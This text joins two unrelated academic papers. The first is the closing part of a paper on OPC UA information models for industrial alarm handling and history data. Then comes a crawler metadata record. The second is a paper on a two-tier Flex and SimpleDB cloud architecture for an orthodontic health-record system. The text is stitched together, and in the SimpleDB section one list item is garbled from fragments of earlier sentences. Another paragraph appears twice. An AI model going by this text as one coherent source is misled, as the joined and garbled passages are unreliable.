In control systems we observed, operators often reconstruct historical alarm situations by studying flat excel sheets or log files. We help operators to reconstruct past alarm situations in a more structured way by switching the alarm tool’s input from real-time events to historical alarm events.
**B. Evolutionary integration**
In most control systems, alarm handling plays a major role. Changes to alarm systems can affect the system stability or even cause damage within the plant. To avoid revolutionary changes in existing alarm systems we integrate our alarm approach client-side. For that reason we developed a new *AlarmService* that connects to the classic A&E DAL and subscribes to alarms (see Figure 4).
**Figure 3: Information model based alarm handling**
When alarms arise, the AlarmService uses tag names or better DeviceIDs (in case classic server and InformationModel share the same IDs) to find corresponding device nodes within the InformationModel. We use nodes to traverse child-parent relationships in order to assign alarms to corresponding devices within the alarm tree. Finally we create an OPC UA-based alarm containing alarm and hierarchy information and store it in an *AlarmModel* within the *AlarmService*. This model reflects the current alarm situation and sends updates to the Alarm-UI whenever the model is changed.
The alarm UI we worked with is comprised on the one hand of the existing alarm list and on the other hand of a new developed OPC UA-based plant representation. Unfortunately the existing alarm list we worked with was unaware of new alarm concepts. We encountered two solution approaches to support new alarm concepts reusing existing alarm lists:
• **Enable AlarmService to provide both legacy and new alarm concepts:** this solution doesn’t require any changes to the alarm list. While less intrusive, this solution increases the maintenance effort as legacy and new concepts have to be maintained at the same time.
- **Change alarm list to comply with new concepts**: this solution is more intrusive as the alarm list has to be adapted to new concepts. In the long run, however, this solution will reduce development effort and improve the software quality as only one concept has to be understood and maintained.
To facilitate a reconstruction of historical alarm situations we developed a `HistoryAlarmService` that connects to a corresponding database. A complementary alarm tool enables operators to switch between current and historical alarms and thus switch between alarm services reusing the same alarm tools (see Figure 5). Furthermore we provide additional UI-tools that allow operators to step through historical alarms.
V. INFORMATION MODELS FOR HISTORY DATA ACCESS
A. Evaluation of historical data
Historical data helps to reconstruct a plant’s situation for a point in time or period. To improve operator’s understanding of a historical situation, dedicated servers supply data compression and analysis capabilities. These are used to create trends, calculate mean, maximum or minimum values [18]. During our workshops with engineers we noticed that trends help to evaluate selective historical data. In order to understand the comprehensive plant situation of interest, engineers have to amalgamate many individual trends into a mental model. This is time-consuming and hampers the understanding of historical situations.
To complement trend based analyses we intended to reuse schematic displays and redirect their input from real-time to historical data. The control systems we observed, however, provided row data without any boundaries or alarm information that displays require to be useful. Fortunately the information model is able to complement these pieces of information. We are currently working on a solution that supplies displays with a combination of row and information model data. As we do not plant to change displays and the way they subscribe to real-time data, we are currently working on a switch that is able to change the data source from real-time data to historical row data and enrich these with boundaries and alarm information provided by the information model (see Figure 6). By the time this article emerges, first tentative steps seem to be promising, however we have not been able to finish our development yet.
VI. INFORMATION MODEL INTEGRATION ON TOP OF EXISTING MODELS
In the previous chapters we described which benefits operators and engineers can gain using new information models. What we haven’t answered yet are important questions regarding information reuse from existing data sources:
- **Where do information models get their input from?**
- **How can information models reuse data incorporated in existing data sources?**
- **How do new information models cooperate with existing data sources?**
A. Reuse of existing data
During our work we encountered several promising candidates for data reuse:
- **CAE-tools**: the information we have been able to extract from engineering tools encompassed hierarchical plant structures, device types as well as I/O descriptions. However, according to engineers these were only about 60% of the required information needed to run a control system and thus had to be complemented. To reuse the engineering tool’s data we used the build in Excel-export capabilities and developed a corresponding import adapter using the Computer Aided Engineering Exchange (CAEX) standard. The aim of CAEX is to foster vendor independent engineering data exchange [19].
- **Engineering databases**: these are used to configure classic server. Hence these databases contain the latest I/O descriptions. Some engineering databases we examined also provided to some extend type information and hierarchical plant structures. Other databases were rather flat lists with I/O configurations. To reuse the data we created SQL-adapters for the databases we worked with.
- **Legacy configuration tools**: in one control system we found a legacy configuration tool containing most of the information needed, stored using a company specific XML schema. As the source code of this tool was open we developed CAEX-based export and import adapters to reuse this data.
Reusing information and data from different models is usually a serious challenge in software engineering as nearly 60-80% of the integration effort has to be spent on reconciling semantic heterogeneity [20]. This task encompasses primarily finding semantic equivalences between model elements [21].
These equivalences have finally to be shifted from one source to the other using integration patterns like translator and adapter [22]. Fortunately we found OPC UA information models to have a high similarity of structure compared to existing models which substantially improved the information reuse. This stems from the fact that OPC UA rather distills and unifies many existing standards instead of introducing a totally new one [23].
During our work we found models derived from CAE tools rather useful for greenfield projects, whereas engineering databases and legacy configuration tools proved to be more useful for data integration. These sources reflected best the underlying plant structure and provided the latest and most comprehensive information. However, in all cases we were not able to completely avoid manual extra work as all existing models were initially created without the intention to be later reused in OPC UA information models. This task encompassed data type conversions and completing OPC UA relevant information not provided by the selected data source.
B. Coping with data erosion
Engineers change I/O configurations over time using reliable and proven configuration tools. As we do not substitute these tools, we have been very soon confronted with data erosion problems and needed appropriate synchronization concepts. First we had to detect deviations between the information model and the chosen data source. We encountered several strategies to recognize deviations (see Figure 7):
- **Modify existing configuration tools**: if the source code of existing configuration tools is available, they can be modified to send out a ping whenever the configuration changes. Once our synchronization tool receives a ping it starts a synchronization task. This concept ensures a quick detection of model deviations and facilitates minor and manageable changes.
- **Cyclic or manual synchronizations**: in many cases companies use third-party configuration tools which cannot be modified easily. In these cases cyclic synchronization concepts known from Windows or Mac OS operating systems or even manual synchronizations are possible solutions.
Over time engineers usually add, delete and modify process variables (PVs), their attributes, higher level devices like turbines and rearrange hierarchical structures. These changes can be synchronized fully automatically, using ontologies or even manually [20], [24]. Rahm et. al. state that in general it is not possible to fully automatically match two sources as many needed matching criteria are either not formally expressed or even documented. They propose concepts that are able to determine match candidates, which the user can accept, reject or change. During our work we developed in a first stage an algorithm based on element-level matching that is able to detect add, delete and field modifications concerning attributes, PVs and high level devices. We also developed corresponding tools that present deviations to engineers and help them to resolve these deviations manually.
VII. CONCLUSION AND OUTLOOK
In this article we presented our experiences made over the last three years in two projects, integrating information models in a user-centered approach. We described in typical scenarios which model properties are able to improve existing tools and workflows and thus help companies to approach state of the art solutions. Afterwards we have shown how to integrate these solutions into existing control systems in an evolutionary manner. Finally we demonstrated how existing data sources can be reused as input for information models and how these different sources can be synchronized. We thus complement current predominantly technology-based discussions with a user-centered approach and provide companies with a solution that reuses most of the existing tools and data. Although we pursued a solution that retains existing control systems and enriches them with new concepts, the integration task is still sophisticated. There are many reasons for that:
- **Evolutionary integration**: as we have chosen an evolutionary integration, we often needed to support existing and new concepts at the same time. This hampers the development process and causes additional maintenance costs.
- **Steep learning curve**: although first publications in the realm of OPC UA information models arise, there are many complex concepts that have to be understood by each developer in a team. Moreover operators and engineers have also to get used to new concepts and sometimes change their workflows.
- **Manual synchronization effort**: our primary goal was to upgrade existing tools where possible and reuse data they incorporate. Thus we have not substituted existing configuration tools and data sources but rather provided
predominantly manual synchronization concepts between new and existing models. This, however, can be a tedious task especially for large sized models [20].
We are constantly refining our approach to further reduce manual work as well as time spent on integration. According to feedback from operators and engineers we successfully demonstrated that information models are a good basis for a user-centered integration approach. The tools we have developed adjusted existing control systems towards state of the art and related well to operators’ and engineers’ needs in their daily routine.
REFERENCES
|
{"Source-Url": "https://swa.informatik.uni-hamburg.de/files/veroeffentlichungen/Indin2012_Artikel_2012-04-18.pdf", "len_cl100k_base": 5432, "olmocr-version": "0.1.49", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 30389, "total-output-tokens": 7111, "length": "2e12", "weborganizer": {"__label__adult": 0.0007586479187011719, "__label__art_design": 0.0017604827880859375, "__label__crime_law": 0.0009775161743164062, "__label__education_jobs": 0.0016317367553710938, "__label__entertainment": 0.0001556873321533203, "__label__fashion_beauty": 0.0003323554992675781, "__label__finance_business": 0.001883506774902344, "__label__food_dining": 0.0008072853088378906, "__label__games": 0.0008511543273925781, "__label__hardware": 0.0054779052734375, "__label__health": 0.0006937980651855469, "__label__history": 0.0006890296936035156, "__label__home_hobbies": 0.00031876564025878906, "__label__industrial": 0.0450439453125, "__label__literature": 0.0003609657287597656, "__label__politics": 0.0006399154663085938, "__label__religion": 0.0009889602661132812, "__label__science_tech": 0.2568359375, "__label__social_life": 0.00013625621795654297, "__label__software": 0.072021484375, "__label__software_dev": 0.60400390625, "__label__sports_fitness": 0.0004851818084716797, "__label__transportation": 0.002777099609375, "__label__travel": 0.00041103363037109375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 34625, 0.013]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 34625, 0.18485]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 34625, 0.8886]], "google_gemma-3-12b-it_contains_pii": [[0, 5204, false], [5204, 10850, null], [10850, 15561, null], [15561, 20661, null], [20661, 25196, null], [25196, 30011, null], [30011, 34625, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5204, true], [5204, 10850, null], [10850, 15561, null], [15561, 20661, null], [20661, 25196, null], [25196, 30011, null], [30011, 34625, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 34625, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 34625, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 34625, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 34625, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 34625, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 34625, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 34625, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 34625, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 34625, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 34625, null]], "pdf_page_numbers": [[0, 5204, 1], [5204, 10850, 2], [10850, 15561, 3], [15561, 20661, 4], [20661, 25196, 5], [25196, 30011, 6], [30011, 34625, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 34625, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-27
|
2024-11-27
|
e99c0d6d1b68f442c5da44a8c70b3026ba872732
|
2-Tier Cloud Architecture and Application in Electronic Health Record
Wenjun Zhang
Research Institute of Applied Computing Technology, China Women’s University, Beijing, China
Email: voicefromzhwj@yahoo.com.cn
Abstract—We find that there are serious problems in Cloud application development such as complex architecture and WS API, highly running cost, poor UI and interaction and so on, and that these problems stem from not fully utilized RIA’s (Rich Internet Application) advantages and inappropriate functionality segmentation between client-side and server-side. That is, Web services, application logic and transaction logic are overly concentrated on the server side; while on the client-side computing power has not been fully utilized. We propose a novel 2-Tier Cloud ARchitecture (2TCAR), which contains RIA-based rich client tier and SimpleDB-based server-side Cloud tier. The rich client tier is maximized to implement most of functionalities of Cloud application and transaction logic; in contrast, the functionality in server-side Cloud tier is minimized to only implement data storage and query. The communication between these two tiers is also simplified via REST. In the article we researched corresponding technologies such as Cloud computing, Web services, REST, Flex in RIA and SimpleDB storage Cloud. In addition, we proposed how to use Flex to implement UI presentation & interaction, transaction logic, REST requests & responses in rich client tier; and we described how to design SimpleDB Cloud in server-side Cloud tier and communication between two tiers via REST. Last, a Cloud application system, which is called Cloud System of Electronic Health Records (EHR) for Orthodontics, is developed based on the research findings illustrated by the author in this paper. It has been shown that the 2TCAR is effective and valuable for Cloud application development.
Index Terms—2TCAR, Cloud Computing, EHR, Flex, EMR, RIA, SimpleDB
I. INTRODUCTION
Cloud computing is an area that is experiencing a rapid advancement both in academia and industry. This technology, which aims at offering distributed, virtualized, and elastic resources as utilities to end users, has the potential to support full realization of “computing as a utility” in the near future [1]-[5].
Along with the advancements of the Cloud technology, new possibilities for Cloud-based applications development are emerging. These new application models are mainly based on HTML on the client side, complex Web Services on the server side and their APIs based on SOAP and so on in Figure 1. And almost all components such as Web services, application logic, transaction logic and data storage, are deployed and executed in the back-end Cloud servers. This traditional Cloud application architecture results in many problems [5]: 1) Web services APIs in Cloud system is too complex for developing Cloud application because all services need to be defined; 2) Running cost is too high because all transaction logic is executed in back-end Cloud server and much servers’ CPU computation is consumed; 3) Interaction between client and Cloud server is frequent and of low efficiency because HTML Web pages on the client side do not contain the script which can run and interact with end-users independently, but only display content of Web pages; 4) The client-side requires data only through request and response session because all datum and states host on the Cloud server-side. The content from Cloud-servers contains not only data but also a lot of redundant format markup tags resulting in much Internet bandwidth to be consumed and wasted. 5) Unlike desktop applications, HTML Web pages are not equipped with multifunctional controls such as DataGrid, Tree, PieChart and so on. And the codes in presentation, transaction logic and data persistence layers on the Cloud server-side, are tightly coupled together so as to result in low reuse, high couple and difficult maintainability.
The above problems stem from not fully utilizing Rich Internet Application (RIA) and inappropriate functionality segmentation between client-side and server-side. That is, Web services, application logic and transaction logic are overly concentrated in the back-end Cloud; in contrast, PCs’ computing power on the client-side is not fully utilized. In this article we propose a novel 2-Tier Cloud ARchitecture (2TCAR), which by maximizing the client-side functionality via RIA on the client-side. RIA with script codes implements original UI
The work was sponsored by the Natural Science Foundation of China Women’s University under grants No. KG0903019 and Peking University School of Stomatology.
presentation, Web services, application logic and transaction logic; on the Cloud server-side functionality is simplified and minimized into only storing and querying data via Amazon’s SimpleDB storage Cloud; the APIs interface between the RIA client-side and the Cloud-side is simplified from original complex APIs based on SOAP to minimized REST (REpresentational State Transfer).
Currently many countries, healthcare providers, medical practitioners are adopting Electronic Health Record (EHR) systems, and are building health record clouds underway to modernize health records systems for greater efficiency, improve patient care, patient safety, and costs savings [6]-[8]. The potential benefits from EHR, which include lab tests, images, diagnoses, prescriptions and medical histories, are without precedent. Providers can instantly access patient histories that are relevant to future care and patients can take ownership of their health records. Cloud computing provides an attractive IT platform to cut down the cost of EHR systems in terms of both ownership and IT maintenance burdens for many medical practices.
It is widely recognized that cloud computing and open standards are important cornerstones [9] to streamline healthcare whether it is for maintaining health records, monitoring of patients, managing diseases and cares more efficiently and effectively, or collaboration with peers and analysis of data. Many predict that managing healthcare applications with clouds will make revolutionary change in the way we do healthcare today. Enabling the access to healthcare ubiquitous not only will help us improve healthcare as our data will always be accessible from anywhere at any time, but also it helps cutting down the costs drastically.
Now for orthodontists there are no commercial orthodontic EHR Cloud systems suitable for their clinical needs in China, so we firstly study orthodontist’s daily workflow and analyze the requirements. And according to orthodontist’s workflow we apply the research findings about 2-Tier Cloud architecture to develop the orthodontic EHR Cloud for Peking University School of Stomatolgy, which contains Flex-based rich client tier and server-side Cloud tier based on SimpleDB.
II. CLOUD COMPUTING AND IMPLEMENTATION TECHNOLOGIES
Implementing the 2-Tier Cloud architecture needs integrating many new Web technologies such as Cloud computing, RIA, Web services, REST, and SimpleDB Cloud. In the section we present them.
A. Cloud Computing [1]-[5]
Very simply stated, Cloud computing is the delivery of a service or capability over the network. Cloud computing is often segmented into three areas:
1) Software as a service (SaaS): Applications services delivered over the network.
2) Platform as a service (PaaS): A software development framework and components all delivered on the network. Offered as on-demand, pay for usage model.
3) Infrastructure as a service (IaaS): An integrated environment of computing resources, storage, and network fabric delivered over the network. Offered as an on-demand, pay for usage model.
The advantages of SaaS to both end users and service providers are well understood. Service providers enjoy greatly simplified software installation and maintenance and centralized control over versioning; end users can access the service “anytime, anywhere”, share data and collaborate more easily, and keep their data stored safely in the infrastructure.
B. Service Oriented Architectures
A service provides business functions to its consumer and it is defined as “Distinct part of the functionality that is provided by an entity through interfaces”. In particular, in computing terms, a service is an application that provides information and/or functionality to other applications. Services are typically non-human-interactive applications that run on servers and interact with applications via an interface.
Traditional SOA [10] is based on a protocol known as SOAP, whose strengths and weaknesses have been well-understood for a while now. SOAP is not Web-oriented for reasons too detailed and technical to go into here, but competing protocols such as REST are very clearly Web-oriented. SOAP is generally not a great protocol for Web-facing systems. This is one reason that Google got rid of its SOAP search API late last year and it’s why Amazon offered it’s very commercially successful APIs in both flavors (SOAP and REST) and the market place chose REST.
So we replaced SOAP-based Web services with REST to design 2-Tier Cloud architecture.
C. REST
Representational State Transfer (REST) [11] is a software architectural style for distributed hypermedia systems like the World Wide Web. REST has gained widespread acceptance across the Web as a simpler alternative to SOAP- and Web Services Description Language (WSDL)-based Web services. Key evidence of this shift in interface design is the adoption of REST by mainstream RIA or Web 2.0 service providers—including Yahoo, Google, and Facebook—who have deprecated or passed on SOAP and WSDL-based interfaces in favor of an easier-to-use, resource-oriented model to expose their services.
REST strictly refers to a collection of architectural principles: Principled Design of the Modern Web Architecture. The term is also often used to describe any simple interface that uses XML (or JSON, plain text) over HTTP without an additional messaging layer such as SOAP.
In the REST architectural style, data and functionality are considered resources, and these resources are accessed using Uniform Resource Identifiers (URIs). The resources are acted upon by using a set of simple, well-defined operations. The REST architectural style constrains architecture to a client-server architecture, and is designed to use a stateless communication protocol,
typically HTTP. In the REST architecture style, clients and servers exchange representations of resources using a standardized interface and protocol. These principles encourage RESTful applications to be simple, lightweight, and have high performance. RESTful Web services typically map the four main HTTP methods to the operations they perform: create, retrieve, update, and delete to implement storage and retrieval of data resource.
As we have seen, REST uses HTTP to support Web services in a simple fashion without the need to add new protocols, as long as the Web service is structured as a set of resources. So we use REST to design the communication interface between rich client tier and SimpleDB Cloud tier on the Cloud server side.
D. Rich Internet Application
Most of the current Cloud systems are B/S thin client application mode based on HTML pages. With increasing complexity this application mode is not longer able to meet the requirements of providing interactive and rich user experience.
In this section we’ll be focusing on RIA structure. Examples will be drawn from Flex, but our conclusions should apply to any stateful RIA whether Silverlight or Javascript-based Ajax. Flex [12] is one kind of RIA technology, a framework for creating RIA application based on Flash Player. Its core is MXML, a markup language based on Extensible Markup Language (XML) that makes it really easy and efficient to create Cloud applications.
Flex offers highly visual, fluid, and rich experience and user interface components. When Cloud computing and Flex are integrated together in a Cloud application, the best of both worlds are combined. In Cloud SimpleDB provides the data storage via REST on the Cloud server-side, while Flex and Adobe Flash Player make the rich, dynamic user interfaces, application logic and transaction logic possible on the client-side.
1) Flex framework technology and development process: The Flex framework [13] shown in Figure 2 is synonymous with the Flex class library and is a collection of ActionScript classes used by Flex applications. The Flex framework defines controls, containers, and managers in order to simplify the process of building RIA. The four main parts in the Flex framework are represented in the following.
a) MXML. MXML is an XML-based markup language that primarily describes screen layout. Using MXML tags, you can add components such as form controls and media playback to layout containers such as panel. In addition to screen layout, MXML could be used to describe effects, transitions, data models, and data binding. Flash Builder, a Flex integrated development tool, enables developers to construct MXML with a What-You-See-Is-What-You-Get approach—build basic Flex applications without writing any code.
b) ActionScript. ActionScript is the programming language understood by Flash Player and is the fundamental engine of all Flex applications. MXML is best suited for screen layout and basic data features, while ActionScript is best suited for user interaction, complex application and transaction logic.
c) Flex class library. Flex framework defines the Flex class library. It consists of predefined components such as controls, containers, data components, and Flex Data Services.
d) Flex data services. They provide the remoting and messaging foundation for connecting a Flex-based front-end to back-end services in SimpleDB Cloud, and transport data between the client and Cloud server. HTTPService and WebService components, a kind of Flex Data Services, will be represented in the following section.
E. SimpleDB Cloud
Amazon SimpleDB [15] is a Web service for running queries on structured data. This service works in close conjunction with RIA, collectively providing the ability to store, process and query data sets in the cloud. These services are designed to make Web-scale computing
easier and more cost-effective for developers. SimpleDB is a database that is accessed via REST.
Amazon SimpleDB is easy to use and provides the core functionality of a database – real-time lookup and simple querying of structured data – without the operational complexity. SimpleDB requires no schema, automatically indexes our data and provides a simple API for storage and access. This eliminates the administrative burden of data modeling, index maintenance, and performance tuning. Developers gain access to this functionality, are able to scale instantly, and pay only for what they use.
1) The concepts: SimpleDB removes some of the constraints associated with relational database systems. For instance, SimpleDB-based data is organized into domains. All data contained in the domain may be queried. Domains are comprised of items, and items are described by attribute-value pairs.
Amazon uses the analogy of comparing SimpleDB-based data to a spreadsheet. The following list defines the various concepts associated with SimpleDB.
a) Customer Account: A user’s SimpleDB account may be thought of as a spreadsheet; it may contain multiple individual sheets.
b) Domains: The individual sheets within the spreadsheet container are called domains. Domains are analogous to tables in the relational database world. Queries and all data operations use domains as their data source.
c) Items: The individual rows within domains (individual sheets) are called items. These items may contain one or more attribute name-value pairs.
d) Attributes: The individual columns within a domain or sheet are called attributes; they represent categories of data that can be assigned to items.
e) Values: The individual cells within a domain or sheet are called values. Values are instances of attributes or the actual values.
These concepts offer a simple approach to working with structured data.
2) SimpleDB APIs: SimpleDB has a small set of APIs that provide everything you need to work with SimpleDB-hosted data. These APIs allow you to create and work with domains, as well as the individual items, attributes, and values contained in individual domains. The following components are involved in SimpleDB transactions: 1) Subscriber: Any calls to the SimpleDB Web service use a unique access key for identification and billing. 2) Request: A call and its data to the SimpleDB Web service. 3) Response: The response and its data from the SimpleDB Web service. SimpleDB API contains:
a) CreateDomain creates a new named domain within the scope of your AWS account.
b) DeleteDomain deletes a domain and all of the items within it.
c) ListDomains returns a list of all of our domains.
d) PutAttributes creates a new item (if necessary) and adds or replaces attributes.
e) DeleteAttributes deletes one or more attributes from an item.
f) GetAttributes returns all or specified attributes of an item.
3) Response: The response and billing. 2) Request: A call and its data to the SimpleDB Web service use a unique access key for identification and billing. This eliminates the administrative burden of data modeling, index maintenance, and performance tuning. Developers gain access to this functionality, are able to scale instantly, and pay only for what they use.
III. 2-TIER CLOUD ARCHITECTURE IMPLEMENTATION
Traditional development methods of Cloud application system are very complex. The main reasons are: 1) the architecture of Cloud implement is inappropriate; 2) the RIA’s advantages can not be utilized fully; 3) almost all functionalities of application logic and transaction logic are overly concentrated on the server side. That is, inappropriate functionality segmentation between client-side and server-side.
To address the above problems, we proposed a novel Cloud architecture: 2-Tier Cloud Architecture, shown in Figure 4.
The main idea of 2-Tier Cloud Architecture is that by using RIA in the rich client-side tier is maximized, implements almost all functionalities such as UI presentation and human-machine interaction, application logic and transaction logic except of data storage. Rich client tier implements a complete application; by using SimpleDB Cloud in the server-side Cloud tier is greatly simplified, and implements storage, update and query of data sets in the cloud; the API interface between the RIA client-side tier and server-side Cloud tier is also simplified via minimized REST.
A. Rich Client Tier Implementation Based on Flex
Almost all 2TCAR’s functionalities are implemented by MXML and ActionScript.
1) UI presentation and human-machine interaction: Using MXML, we can add components such as different controls and data charting into containers such as panel. Effects, transitions, data models, and data binding can be introduced into UI design. Human-machine interaction can be implemented by ActionScript and event-driven.
2) Application logic and transaction logic: All logic functionalities are programmed by ActionScript’s Classes, Interfaces and predefined Class library.
3) Communication between rich client tier and server-tire in SimpleDB: SimpleDB REST calls are made.
using HTTP GET requests. The Action query parameter provides the method called and the URI specifies the target of the call. Additional call parameters are specified as HTTP query parameters. The response is an XML document that conforms to a schema. By using Flex’ s HTTPService component, a request from rich client tier to server-tier in SimpleDB Cloud is constructed, but the format of the request has to comply with SimpleDB’s REST API standard. And the reception of the response from SimpleDB is implemented by HTTPService’s callback function, which is parsed to acquire the data and refresh user interface.
The following shows a REST request that puts three attributes and values for an item named Item123 into the domain named MyDomain.
https://sdb.amazonaws.com/?Action=PutAttributes
&DomainName=MyDomain
&ItemName=Item123
&Attribute.1.Name=Color&Attribute.1.Value=Blue
&Attribute.2.Name=Size&Attribute.2.Value=Med
&Attribute.3.Name=Price&Attribute.3.Value=14.99
&AWSAccessKeyId=<valid_access_key>
&Version=2010-01-08
&Signature=Dqlp3Sd6ljTUA9Uf6SGtEExwUQE
&SignatureVersion=2
&SignatureMethod=HmacSHA256
&Timestamp=2010-01-01T15%3A01%3A28-07%3A00
B. Cloud Server-Side Tier Design Based on SimpleDB Cloud
When accessing Amazon SimpleDB using REST, we must provide the following items so that the request can be authenticated:
1) Authentication:
a) AWSAccessKeyId—Our AWS account is identified by your Access Key ID, which AWS uses to look up our Secret Access Key.
b) Signature—Each request must contain a valid HMAC-SHA signature, or the request is rejected. A request signature is calculated using your Secret Access Key, which is a shared secret known only to you and AWS.
c) Date—Each request must contain the time stamp of the request.
Depending on the API we're using, we can provide an expiration date and time for the request instead of or in addition to the time stamp. For details of what is required and allowed for each API, see the authentication topic for the particular API.
2) Authentication process [16]: The following is the series of tasks required to authenticate requests to AWS using an HMAC-SHA request signature. It is assumed we have already created an AWS account and received an Access Key ID and Secret Access Key. We perform the first three tasks for creating authentication requests shown in Figure 5. AWS performs the next three tasks in Figure 6.

3) **Authenticating REST requests and REST responses:**
We can send REST requests over either HTTP or HTTPS. Regardless of which protocol we use, we must include a signature in every REST request. If a REST request authenticated are confirmed SimpleDB will be responding a corresponding response. The samples of REST request and response are shown the above.
IV. **DESIGN OF EHR CLOUD SYSTEM BASED ON 2TCAR**
A. **Design of the Orthodontic EHR Cloud Architecture**
In the EHR Cloud for orthodontics we use the proposed 2TCAR Cloud architecture. That is that by using Flex on the client side, the rich client tier is maximized, implements almost all orthodontic workflow as shown in Figure 7 and functionalities such as UI presentation, human-machine interaction, and application logic and transaction logic except of data storage. Rich client tier developed by Flex implements a complete application; by using SimpleDB Cloud, the Cloud tier is greatly simplified, and implements only storage, update, query and deletion of data sets in the cloud; the API interfaces between the RIA client tier and Cloud tier on the server side are also simplified via minimized REST.
B. **Workflow of the Orthodontic EHR Cloud**
Firstly focusing on the contents of orthodontics and orthodontist’ clinical practices, we analyze requirements and features of the EHR Cloud for orthodontics.
The health records for orthodontics are cumbersome, including three main examinations: general, special orthodontics, and temporomandibular joint, each of which contains lots of items. But according to the requirement analysis and orthodontists’ daily workflow, it can be mainly divided into: patient’s complaint, the relationship between front and back molars, degree of tooth-mouth-opening, and x-ray film of tooth positions, and so on.
Therefore, the operation of running the EHR Cloud must be ensured to completely match the above orthodontist’s daily workflow. And after finishing the three examinations, all related data and images such as x-ray films and 3D models provided by the decision-support system, will be integrated and embedded into the EHR Cloud UI. At the same time the patient’s problem list will be generated automatically and intelligently so as to facilitate the orthodontist to understand the patient’s problems and determine the final treatment planning. Additionally, the EHR Cloud can also use a large number of patients’ data for clinical research, analysis and statistics.

The workflow and software modules of the EHR Cloud mainly includes: Patient’s Basic Information, Teeth States, Initial Examination, Orthodontic Examination, Temporomandibular Joint, Problem List, Initial Diagnosis, Initial Disposition, Treatment Planning, and Treatment Results as shown in Figure 8. To store data from different sub-workflows, we create the corresponding tables in the SimpleDB Cloud and the associations between the tables via the primary key case-id as shown in Figure 9.

To store data from different sub-workflows, we create the corresponding tables in the database and associations between the tables via the primary key case-id as shown in Figure 9.
C. Design and Implement of the Orthodontic EHR Cloud Based on 2TCAR
According to the above workflow and 2TCAR architecture of the EHR Cloud, we use Flex to implement almost all functionalities in the EHR Cloud exception of storing and querying data in the SimpleDB Cloud: 1) a special user interface (UI) for each sub-workflow detailed in Figure 10 and 11; 2) Application logic and transaction logic; 3) Communication between rich client tier and server-tier in SimpleDB. And different sub-workflow’s UI can be specified and switched through clicking the corresponding button in the left-side main menu.
The data in different sub-workflow’s UI is stored into and retrieved from the corresponding table in SimpleDB Cloud using Flex communication components such as HTTPService via REST. The resulting data and images from the Decision-Support systems can be also embedded in the EHR as shown in Figure 10.
The intelligent templates for orthodontists detailed in Figure 8 are also developed and embedded in different sub-workflows in the EHR Cloud. At the same time the patient’s problem list can be generated automatically and intelligently from the data in the sub-workflows.
Additionally we also developed the system of query, analysis & statistics for research and education. The EHR Cloud can also connect with existing Resister, Ward and Drugstore information system so as to share all data.
In short working processes of the EHR Cloud completely follows orthodontist’s daily workflow to become orthodontist’s intelligent assistant. In the EHR Cloud Flex greatly enhances the interactive user experience and implements the workflow on the rich client-tier in the Cloud; SimpleDB Cloud also simply implements data storage and query on the server-tier in the Cloud; the API interface between the rich client-tier and server-tier in the Cloud is also simplified via minimized REST.
V. CONCLUSIONS
By analyzing the serious problems and drawbacks in Cloud application development, we find that the problems stem from not fully utilized RIA’s advantages and inappropriate functionality segmentation between client-side and server-side. That is, most of functionalities are overly concentrated in the back-end Cloud servers. We propose 2TCAR Cloud architecture containing RIA-based rich client tier and SimpleDB-based server-side Cloud tier. The Rich client tier is maximized to implement most of functionalities of Cloud application and transaction logic; in contrast functionality in server-side Cloud tier is minimized to only implement data storage and query. The communication between these two tiers is also simplified via REST.
The research results are applied to develop a Cloud application called EHR Cloud Based on 2TCAR for Orthodontics. According to orthodontist’s daily workflow and 2TCAR, the EHR Cloud is successfully implemented, and is put into operation in Peking University School of Stomatology. It can fit seamlessly into orthodontist’s daily workflow and effectively replace current paper medical records used in orthodontics.
It is shown that the 2TCAR is simple, effective and valuable for agile Cloud design. The 2TCAR Cloud
architecture can be widely applied into Cloud application development.
ACKNOWLEDGMENT
This research project has been sponsored by Department of Orthodontics under Peking University School of Stomatology and China Women’s University. We would like to express our heartfelt thanks to the sponsors.
REFERENCES
Wenjun Zhang received the PhD from the China University of Mining and Technology in 1994 on Engineering and Computer Science. He is an associate professor at the China Women’s University currently. His research interests lie in the fields of Cloud Computing, 3D Visualization in Medical Images and Web Architecture.
Dr. Zhang is a member of China Computer Association and IEEE.
|
